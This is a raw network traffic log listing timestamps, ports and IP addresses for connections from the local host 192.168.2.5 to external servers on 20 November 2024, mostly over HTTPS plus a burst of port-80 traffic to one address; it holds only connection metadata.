Nov 20, 2024 08:09:23.936763048 CET	49825	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:23.941776037 CET	49835	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:23.943878889 CET	49828	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:23.959665060 CET	443	49835	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:23.959695101 CET	443	49835	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:23.959703922 CET	443	49835	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:23.959737062 CET	443	49835	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:23.959759951 CET	443	49835	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:23.959768057 CET	443	49835	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:23.959808111 CET	49835	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:23.959824085 CET	443	49835	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:23.959861994 CET	49835	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:23.959861994 CET	49835	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:23.961004019 CET	443	49835	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:23.961014032 CET	443	49835	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:23.961046934 CET	443	49835	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:23.961057901 CET	443	49835	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:23.961080074 CET	443	49835	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:23.961116076 CET	49835	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:23.961116076 CET	49835	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:23.961127996 CET	443	49835	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:23.961390018 CET	49835	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:23.965079069 CET	443	49826	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:23.965243101 CET	443	49826	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:23.965338945 CET	49826	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:23.965601921 CET	443	49830	108.139.47.50	192.168.2.5
Nov 20, 2024 08:09:23.967597008 CET	49830	443	192.168.2.5	108.139.47.50
Nov 20, 2024 08:09:23.992538929 CET	49831	443	192.168.2.5	20.75.60.91
Nov 20, 2024 08:09:24.009258032 CET	49843	443	192.168.2.5	20.110.205.119
Nov 20, 2024 08:09:24.009319067 CET	443	49843	20.110.205.119	192.168.2.5
Nov 20, 2024 08:09:24.009423018 CET	49843	443	192.168.2.5	20.110.205.119
Nov 20, 2024 08:09:24.012156010 CET	443	49827	52.138.229.66	192.168.2.5
Nov 20, 2024 08:09:24.012742996 CET	49827	443	192.168.2.5	52.138.229.66
Nov 20, 2024 08:09:24.012772083 CET	443	49827	52.138.229.66	192.168.2.5
Nov 20, 2024 08:09:24.012906075 CET	49843	443	192.168.2.5	20.110.205.119
Nov 20, 2024 08:09:24.012943983 CET	443	49843	20.110.205.119	192.168.2.5
Nov 20, 2024 08:09:24.013878107 CET	443	49827	52.138.229.66	192.168.2.5
Nov 20, 2024 08:09:24.013953924 CET	49827	443	192.168.2.5	52.138.229.66
Nov 20, 2024 08:09:24.015229940 CET	49827	443	192.168.2.5	52.138.229.66
Nov 20, 2024 08:09:24.015302896 CET	443	49827	52.138.229.66	192.168.2.5
Nov 20, 2024 08:09:24.015499115 CET	49827	443	192.168.2.5	52.138.229.66
Nov 20, 2024 08:09:24.015508890 CET	443	49827	52.138.229.66	192.168.2.5
Nov 20, 2024 08:09:24.015655994 CET	49827	443	192.168.2.5	52.138.229.66
Nov 20, 2024 08:09:24.015682936 CET	443	49827	52.138.229.66	192.168.2.5
Nov 20, 2024 08:09:24.023808956 CET	49828	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:24.023833990 CET	443	49828	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:24.024266005 CET	49828	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:24.024271965 CET	443	49828	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:24.024462938 CET	49826	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:24.024490118 CET	443	49826	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:24.024504900 CET	49826	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:24.024511099 CET	443	49826	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:24.026627064 CET	49824	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:24.026642084 CET	443	49824	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:24.026649952 CET	49824	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:24.026654005 CET	443	49824	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:24.026750088 CET	49825	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:24.026771069 CET	443	49825	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:24.026802063 CET	49825	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:24.026808977 CET	443	49825	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:24.029083014 CET	49844	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:24.029110909 CET	443	49844	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:24.029298067 CET	49844	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:24.029511929 CET	49844	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:24.029529095 CET	443	49844	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:24.030359030 CET	443	49831	20.75.60.91	192.168.2.5
Nov 20, 2024 08:09:24.030734062 CET	443	49831	20.75.60.91	192.168.2.5
Nov 20, 2024 08:09:24.030770063 CET	49830	443	192.168.2.5	108.139.47.50
Nov 20, 2024 08:09:24.030785084 CET	443	49830	108.139.47.50	192.168.2.5
Nov 20, 2024 08:09:24.030791998 CET	49831	443	192.168.2.5	20.75.60.91
Nov 20, 2024 08:09:24.031795025 CET	49831	443	192.168.2.5	20.75.60.91
Nov 20, 2024 08:09:24.031805992 CET	443	49831	20.75.60.91	192.168.2.5
Nov 20, 2024 08:09:24.043742895 CET	49845	443	192.168.2.5	108.139.47.50
Nov 20, 2024 08:09:24.043787003 CET	443	49845	108.139.47.50	192.168.2.5
Nov 20, 2024 08:09:24.043889046 CET	49845	443	192.168.2.5	108.139.47.50
Nov 20, 2024 08:09:24.044121981 CET	49845	443	192.168.2.5	108.139.47.50
Nov 20, 2024 08:09:24.044135094 CET	443	49845	108.139.47.50	192.168.2.5
Nov 20, 2024 08:09:24.046526909 CET	443	49835	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.046562910 CET	443	49835	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.046600103 CET	443	49835	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.046674013 CET	49835	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.046674013 CET	49835	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.046696901 CET	443	49835	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.047188044 CET	443	49835	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.047195911 CET	443	49835	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.047218084 CET	443	49835	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.047228098 CET	443	49835	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.047255039 CET	49835	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.047265053 CET	443	49835	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.047337055 CET	49835	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.048053980 CET	443	49835	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.048088074 CET	443	49835	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.048135042 CET	49835	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.048135042 CET	49835	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.048145056 CET	443	49835	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.049582958 CET	49846	443	192.168.2.5	20.75.60.91
Nov 20, 2024 08:09:24.049619913 CET	443	49846	20.75.60.91	192.168.2.5
Nov 20, 2024 08:09:24.049778938 CET	49846	443	192.168.2.5	20.75.60.91
Nov 20, 2024 08:09:24.049880981 CET	443	49835	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.049901009 CET	443	49835	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.049936056 CET	443	49835	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.049957991 CET	443	49835	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.049976110 CET	49835	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.049988031 CET	443	49835	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.049997091 CET	443	49835	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.050036907 CET	49835	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.050050020 CET	49846	443	192.168.2.5	20.75.60.91
Nov 20, 2024 08:09:24.050052881 CET	443	49835	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.050062895 CET	443	49846	20.75.60.91	192.168.2.5
Nov 20, 2024 08:09:24.050076008 CET	49835	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.050102949 CET	49835	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.050662041 CET	49835	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.050674915 CET	443	49835	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.125236988 CET	443	49828	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:24.125305891 CET	443	49828	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:24.125361919 CET	49828	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:24.151309967 CET	49848	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:24.151356936 CET	443	49848	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:24.151431084 CET	49848	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:24.156793118 CET	49828	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:24.156812906 CET	443	49828	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:24.156826019 CET	49828	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:24.156831980 CET	443	49828	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:24.162182093 CET	49850	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:24.162199974 CET	443	49850	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:24.162470102 CET	49850	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:24.172930002 CET	49848	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:24.172947884 CET	443	49848	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:24.173760891 CET	49851	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:24.173799038 CET	443	49851	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:24.174105883 CET	49851	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:24.175781012 CET	49850	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:24.175791979 CET	443	49850	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:24.176522017 CET	49852	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:24.176559925 CET	443	49852	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:24.176727057 CET	49852	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:24.177047968 CET	49852	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:24.177061081 CET	443	49852	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:24.178775072 CET	49851	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:24.178797960 CET	443	49851	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:24.184072018 CET	443	49839	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:24.184575081 CET	49839	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:24.184603930 CET	443	49839	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:24.185457945 CET	49839	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:24.185462952 CET	443	49839	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:24.197618008 CET	49853	443	192.168.2.5	23.44.201.25
Nov 20, 2024 08:09:24.197638988 CET	443	49853	23.44.201.25	192.168.2.5
Nov 20, 2024 08:09:24.197755098 CET	49853	443	192.168.2.5	23.44.201.25
Nov 20, 2024 08:09:24.198993921 CET	49853	443	192.168.2.5	23.44.201.25
Nov 20, 2024 08:09:24.199006081 CET	443	49853	23.44.201.25	192.168.2.5
Nov 20, 2024 08:09:24.199173927 CET	49854	443	192.168.2.5	23.44.201.25
Nov 20, 2024 08:09:24.199224949 CET	443	49854	23.44.201.25	192.168.2.5
Nov 20, 2024 08:09:24.200257063 CET	49854	443	192.168.2.5	23.44.201.25
Nov 20, 2024 08:09:24.200333118 CET	49855	443	192.168.2.5	204.79.197.219
Nov 20, 2024 08:09:24.200340986 CET	443	49855	204.79.197.219	192.168.2.5
Nov 20, 2024 08:09:24.200604916 CET	49855	443	192.168.2.5	204.79.197.219
Nov 20, 2024 08:09:24.200623035 CET	49854	443	192.168.2.5	23.44.201.25
Nov 20, 2024 08:09:24.200634956 CET	443	49854	23.44.201.25	192.168.2.5
Nov 20, 2024 08:09:24.201344967 CET	49855	443	192.168.2.5	204.79.197.219
Nov 20, 2024 08:09:24.201354027 CET	443	49855	204.79.197.219	192.168.2.5
Nov 20, 2024 08:09:24.201977968 CET	49856	443	192.168.2.5	204.79.197.219
Nov 20, 2024 08:09:24.201987028 CET	443	49856	204.79.197.219	192.168.2.5
Nov 20, 2024 08:09:24.202034950 CET	49856	443	192.168.2.5	204.79.197.219
Nov 20, 2024 08:09:24.202413082 CET	49856	443	192.168.2.5	204.79.197.219
Nov 20, 2024 08:09:24.202420950 CET	443	49856	204.79.197.219	192.168.2.5
Nov 20, 2024 08:09:24.214541912 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.219526052 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.284677029 CET	443	49839	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:24.284852028 CET	443	49839	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:24.284924984 CET	49839	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:24.289637089 CET	49839	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:24.289660931 CET	443	49839	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:24.289674997 CET	49839	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:24.289680958 CET	443	49839	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:24.294502020 CET	49857	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:24.294536114 CET	443	49857	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:24.294703007 CET	49857	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:24.294900894 CET	49857	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:24.294915915 CET	443	49857	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:24.346664906 CET	49858	443	192.168.2.5	23.44.201.20
Nov 20, 2024 08:09:24.346705914 CET	443	49858	23.44.201.20	192.168.2.5
Nov 20, 2024 08:09:24.346786022 CET	49858	443	192.168.2.5	23.44.201.20
Nov 20, 2024 08:09:24.347686052 CET	49859	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:24.347745895 CET	443	49859	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:24.347810030 CET	49859	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:24.347997904 CET	49860	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:24.348051071 CET	443	49860	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:24.348108053 CET	49860	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:24.350534916 CET	49861	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:24.350589037 CET	443	49861	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:24.350701094 CET	49862	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:24.350712061 CET	443	49862	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:24.350728989 CET	49861	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:24.350754976 CET	49862	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:24.351174116 CET	49863	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:24.351187944 CET	443	49863	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:24.351233959 CET	49863	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:24.351665020 CET	49858	443	192.168.2.5	23.44.201.20
Nov 20, 2024 08:09:24.351677895 CET	443	49858	23.44.201.20	192.168.2.5
Nov 20, 2024 08:09:24.351902008 CET	49859	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:24.351918936 CET	443	49859	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:24.352031946 CET	49860	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:24.352047920 CET	443	49860	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:24.352188110 CET	49861	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:24.352207899 CET	443	49861	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:24.352340937 CET	49862	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:24.352353096 CET	443	49862	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:24.352801085 CET	49863	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:24.352818012 CET	443	49863	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:24.354664087 CET	49864	443	192.168.2.5	40.126.32.136
Nov 20, 2024 08:09:24.354698896 CET	443	49864	40.126.32.136	192.168.2.5
Nov 20, 2024 08:09:24.354762077 CET	49864	443	192.168.2.5	40.126.32.136
Nov 20, 2024 08:09:24.355134010 CET	49864	443	192.168.2.5	40.126.32.136
Nov 20, 2024 08:09:24.355146885 CET	443	49864	40.126.32.136	192.168.2.5
Nov 20, 2024 08:09:24.357105017 CET	443	49842	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.357460022 CET	49842	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.357467890 CET	443	49842	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.358527899 CET	443	49842	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.358743906 CET	49842	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.360069990 CET	49842	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.360135078 CET	443	49842	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.360263109 CET	49842	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.370460033 CET	443	49841	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.371325970 CET	49841	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.371336937 CET	443	49841	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.371710062 CET	443	49841	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.372283936 CET	49841	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.372349977 CET	443	49841	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.374986887 CET	443	49840	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.376235008 CET	49841	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.376425982 CET	49840	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.376439095 CET	443	49840	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.376781940 CET	443	49840	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.377687931 CET	49840	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.377753973 CET	443	49840	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.378034115 CET	49840	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.384306908 CET	49703	443	192.168.2.5	23.1.237.91
Nov 20, 2024 08:09:24.389328003 CET	443	49703	23.1.237.91	192.168.2.5
Nov 20, 2024 08:09:24.396981001 CET	49865	443	192.168.2.5	52.159.108.190
Nov 20, 2024 08:09:24.397015095 CET	443	49865	52.159.108.190	192.168.2.5
Nov 20, 2024 08:09:24.397130013 CET	49865	443	192.168.2.5	52.159.108.190
Nov 20, 2024 08:09:24.397635937 CET	49865	443	192.168.2.5	52.159.108.190
Nov 20, 2024 08:09:24.397651911 CET	443	49865	52.159.108.190	192.168.2.5
Nov 20, 2024 08:09:24.407335997 CET	443	49842	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.419343948 CET	443	49840	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.419349909 CET	443	49841	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.439834118 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.439913034 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.439964056 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.439975977 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.439990044 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.440001011 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.440032959 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.440413952 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.440426111 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.440437078 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.440448999 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.440459967 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.440460920 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.440474987 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.440484047 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.440495014 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.440526962 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.440618038 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.440629959 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.440660954 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.440670013 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.440685034 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.440699100 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.440706015 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.440715075 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.440721989 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.440737963 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.440752983 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.440768003 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.440781116 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.440792084 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.440804005 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.440814018 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.440814972 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.440826893 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.440838099 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.440839052 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.440850019 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.440857887 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.440872908 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.440903902 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.441921949 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.441935062 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.441946030 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.441956997 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.441968918 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.441970110 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.441979885 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.441989899 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.441994905 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.442012072 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.442023993 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.442029953 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.442035913 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.442048073 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.442049980 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.442058086 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.442069054 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.442076921 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.442080975 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.442092896 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.442104101 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.442105055 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.442115068 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.442125082 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.442133904 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.442136049 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.442146063 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.442156076 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.442157984 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.442171097 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.442171097 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.442183018 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.442194939 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.442205906 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.442208052 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.442217112 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.442228079 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.442238092 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.442239046 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.442251921 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.442259073 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.442265987 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.442275047 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.442303896 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.443512917 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.443526983 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.443536997 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.443547010 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.443557978 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.443568945 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.443578959 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.443591118 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.443593979 CET	49765	80	192.168.2.5	185.215.113.206
